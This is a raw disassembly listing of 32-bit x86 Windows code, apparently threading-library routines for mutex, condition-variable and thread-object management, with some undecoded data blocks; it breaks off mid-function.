		mov	edi, [ebp+0]
		nop
		call	near ptr 277069Bh
		test	eax, eax
		jnz	short loc_42EEF7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_42EF44
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_40204A
		add	esp, 8
		mov	esi, eax
		jmp	short loc_42EF40
; ---------------------------------------------------------------------------


loc_42EEF7:				; CODE XREF: ___:0042EED8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_42EF1B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_42EF1D


loc_42EF1B:				; CODE XREF: ___:0042EF07j
		xor	ebx, ebx


loc_42EF1D:				; CODE XREF: ___:0042EF19j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_42EF40
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42EF40:				; CODE XREF: ___:0042EEF5j
					; ___:0042EF2Fj
		test	esi, esi
		jnz	short loc_42EF5E


loc_42EF44:				; CODE XREF: ___:0042EEE2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_50E3FC	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_42EF5E:				; CODE XREF: ___:0042EF42j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF64:				; CODE XREF: ___:0042EEB7j
					; ___:0042EEC1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EFA0:				; CODE XREF: ___:00401F50j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42EFC3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42EFC3:				; CODE XREF: ___:0042EFB2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EFF0:				; CODE XREF: ___:00401A73j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_42F011
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_42F011
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F011:				; CODE XREF: ___:0042EFF9j
					; ___:0042EFFFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F030:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F04D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F04D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F04D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F04D:				; CODE XREF: ___:0042F036j
					; ___:0042F03Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F070:				; CODE XREF: ___:0040162Cj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F09A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F09A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F08E
		test	eax, eax
		jnz	short loc_42F09A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F08E:				; CODE XREF: ___:0042F085j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F09A:				; CODE XREF: ___:0042F076j
					; ___:0042F07Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F0B0	proc near		; CODE XREF: sub_40140Bj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F0B0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 90525738h, 341287E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	0E8000000h, 2341399h, 0A4E85390h
		dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h,	83FFFD1Fh
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F170:				; CODE XREF: ___:0040223Ej
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 90525338h, 3411C7E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 3412D8E8h, 0E4E85702h
		dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F230	proc near		; CODE XREF: sub_401CEEj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F230	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 29E89050h, 85023411h, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh
		dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F2B0:				; CODE XREF: ___:00401D25j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_42F3E9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42F2EB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F2EB:				; CODE XREF: ___:0042F2DCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A50
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402225
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_42F3C2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_42F3C2
		cmp	[esi+0Ch], ebp
		jge	loc_42F3D5
		test	edi, edi
		jz	short loc_42F354
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F354:				; CODE XREF: ___:0042F329j
		mov	edi, [esi+4]
		push	edi
		nop
		call	near ptr 2760912h
		push	0
		push	edi
		call	near ptr 2770384h
		nop
		cmp	eax, 102h
		jnz	short loc_42F3E2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		call	near ptr 2760B47h
		nop
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_42F460
		push	ecx
		push	edi
		nop
		call	near ptr 2760D1Ch
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		call	near ptr 2770000h
		nop
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F3C2:				; CODE XREF: ___:0042F30Dj
					; ___:0042F318j
		cmp	[esi+0Ch], ebp
		jge	short loc_42F3D5
		mov	edx, [esi+38h]
		push	edx
		call	near ptr 27701E1h
		nop
		test	eax, eax
		jnz	short loc_42F3D9


loc_42F3D5:				; CODE XREF: ___:0042F321j
					; ___:0042F3C5j
		mov	[esp+10h], ebp


loc_42F3D9:				; CODE XREF: ___:0042F3D3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_42F3E2:				; CODE XREF: ___:0042F36Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_42F3E9:				; CODE XREF: ___:0042F2CFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F460:				; DATA XREF: ___:0042F390o
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F480	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_50E3EC
		push	esi
		push	eax
		call	sub_401190
sub_42F480	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_42F4BE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_42F4AC
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F4AC
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_42F4AC:				; CODE XREF: ___:0042F49Bj
					; ___:0042F4A1j
		mov	edx, [esi+8]
		mov	eax, dword_50E3EC
		push	edx
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42F4BE:				; CODE XREF: ___:0042F493j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F4F0	proc near		; CODE XREF: sub_401659j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_50E3EC
		push	edx
		call	sub_401190
sub_42F4F0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_50E3EC
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F540	proc near		; CODE XREF: sub_401B4Fj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E940
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42F574
		push	esi
		push	ecx
		call	sub_401541
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F574:				; CODE XREF: sub_42F540+17j
		test	eax, eax
		jnz	short loc_42F57D
		mov	esi, 16h


loc_42F57D:				; CODE XREF: sub_42F540+36j
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_42F540	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5B0:				; CODE XREF: ___:004020FEj
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F5D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42F5D3:				; CODE XREF: ___:0042F5C2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5F0:				; CODE XREF: ___:004021D0j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_42F613
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F613
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F613:				; CODE XREF: ___:0042F5F7j
					; ___:0042F5FDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F630:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F64D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F64D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F64D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F64D:				; CODE XREF: ___:0042F636j
					; ___:0042F63Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F670:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F69A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F69A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F68E
		test	eax, eax
		jnz	short loc_42F69A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F68E:				; CODE XREF: ___:0042F685j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F69A:				; CODE XREF: ___:0042F676j
					; ___:0042F67Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6B0	proc near		; CODE XREF: sub_401541j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_42F6C6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6C6:				; CODE XREF: sub_42F6B0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_42F6ED
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_42F6ED
		cmp	dword ptr [eax], 1
		jnz	short loc_42F6ED
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6ED:				; CODE XREF: sub_42F6B0+1Ej
					; sub_42F6B0+24j ...
		push	20h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_42F712
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F712:				; CODE XREF: sub_42F6B0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F737
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		jmp	short loc_42F77B
; ---------------------------------------------------------------------------


loc_42F737:				; CODE XREF: sub_42F6B0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F755
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_42F772
; ---------------------------------------------------------------------------


loc_42F755:				; CODE XREF: sub_42F6B0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_42F7DF
		push	ebx
		call	sub_401686
		add	esp, 4


loc_42F772:				; CODE XREF: sub_42F6B0+A3j
		push	ebp
		call	sub_401686
		add	esp, 4


loc_42F77B:				; CODE XREF: sub_42F6B0+85j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_42F7D2


loc_42F78B:				; CODE XREF: sub_42F6B0+131j
		push	offset dword_50E9C0
		call	near ptr 7C901005h
		nop
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_50E3F4
		mov	[esi+1Ch], ecx
		mov	eax, dword_50E3F4
		test	eax, eax
		jz	short loc_42F7B2
		mov	[eax+18h], esi


loc_42F7B2:				; CODE XREF: sub_42F6B0+FDj
		mov	eax, dword_50E3F0
		mov	dword_50E3F4, esi
		test	eax, eax
		jnz	short loc_42F7C7
		mov	dword_50E3F0, esi


loc_42F7C7:				; CODE XREF: sub_42F6B0+10Fj
		push	offset dword_50E9C0
		call	near ptr 7C9010EDh
		nop


loc_42F7D2:				; CODE XREF: sub_42F6B0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F7DF:				; CODE XREF: sub_42F6B0+B7j
		xor	edi, edi
		jmp	short loc_42F78B
sub_42F6B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F840	proc near		; CODE XREF: sub_401A91j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_42F9EC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_42F9EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_42F9A3
		push	offset dword_50E9C0
		nop
		call	near ptr 7C901005h
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42F899
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F899:				; CODE XREF: sub_42F840+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_40177B
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_42F8C0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F8C0:				; CODE XREF: sub_42F840+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_42F8F9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42F8E2
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_42F8E2:				; CODE XREF: sub_42F840+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_42F98E
; ---------------------------------------------------------------------------


loc_42F8F9:				; CODE XREF: sub_42F840+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401686
		mov	edi, dword_50FA64
		add	esp, 4
		test	eax, eax
		jz	short loc_42F91A
		call	edi ; dword_50FA64
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_42F91A:				; CODE XREF: sub_42F840+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401686
		add	esp, 4
		test	eax, eax
		jz	short loc_42F932
		call	edi ; dword_50FA64
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_42F932:				; CODE XREF: sub_42F840+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42F94C
		push	ebp
		call	sub_40222F
		add	esp, 4
		mov	ebx, eax


loc_42F94C:				; CODE XREF: sub_42F840+FFj
		cmp	dword_50E3F0, esi
		jnz	short loc_42F95F
		mov	edx, [esi+18h]
		mov	dword_50E3F0, edx
		jmp	short loc_42F968
; ---------------------------------------------------------------------------


loc_42F95F:				; CODE XREF: sub_42F840+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_42F968:				; CODE XREF: sub_42F840+11Dj
		cmp	dword_50E3F4, esi
		jnz	short loc_42F97B
		mov	edx, [esi+1Ch]
		mov	dword_50E3F4, edx
		jmp	short loc_42F984
; ---------------------------------------------------------------------------


loc_42F97B:				; CODE XREF: sub_42F840+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_42F984:				; CODE XREF: sub_42F840+139j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_42F98E:				; CODE XREF: sub_42F840+B4j
		push	offset dword_50E9C0
		nop
		call	near ptr 7C9010EDh
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_42F9D2
; ---------------------------------------------------------------------------


loc_42F9A3:				; CODE XREF: sub_42F840+28j
		push	offset dword_50E940
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_42F9BB
		mov	dword ptr [edi], 0
		jmp	short loc_42F9C7
; ---------------------------------------------------------------------------


loc_42F9BB:				; CODE XREF: sub_42F840+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_42F9C7:				; CODE XREF: sub_42F840+179j
		push	offset dword_50E940
		call	near ptr 7C9010EDh
		nop


loc_42F9D2:				; CODE XREF: sub_42F840+161j
		test	esi, esi
		jz	short loc_42F9DE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F9DE:				; CODE XREF: sub_42F840+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_42F9F1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F9EC:				; CODE XREF: sub_42F840+15j
					; sub_42F840+1Fj
		mov	eax, 16h


loc_42F9F1:				; CODE XREF: sub_42F840+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F840	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FA70	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_42FAA0
		add	esp, 0Ch
		retn
sub_42FA70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FAA0	proc near		; CODE XREF: sub_42FA70+Cp
					; sub_42FD70+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_42FBA9
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42FBA9
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42FAE2
		push	esi
		call	sub_401B4F
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_42FAE2
		cmp	eax, 10h
		jnz	loc_42FBAE


loc_42FAE2:				; CODE XREF: sub_42FAA0+26j
					; sub_42FAA0+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB02
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB02:				; CODE XREF: sub_42FAA0+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB22
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB22:				; CODE XREF: sub_42FAA0+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_42FC10
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401659
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 0F73EE890h
		dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42FBA9:				; CODE XREF: sub_42FAA0+13j
					; sub_42FAA0+1Dj
		mov	eax, 16h


loc_42FBAE:				; CODE XREF: sub_42FAA0+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_42FAA0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FC10:				; DATA XREF: sub_42FAA0+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FC3B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FC3B:				; CODE XREF: ___:0042FC31j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_42FC4E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_42FCB7
; ---------------------------------------------------------------------------


loc_42FC4E:				; CODE XREF: ___:0042FC44j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_42FCB7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FC82
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FC82:				; CODE XREF: ___:0042FC6Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCAC
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
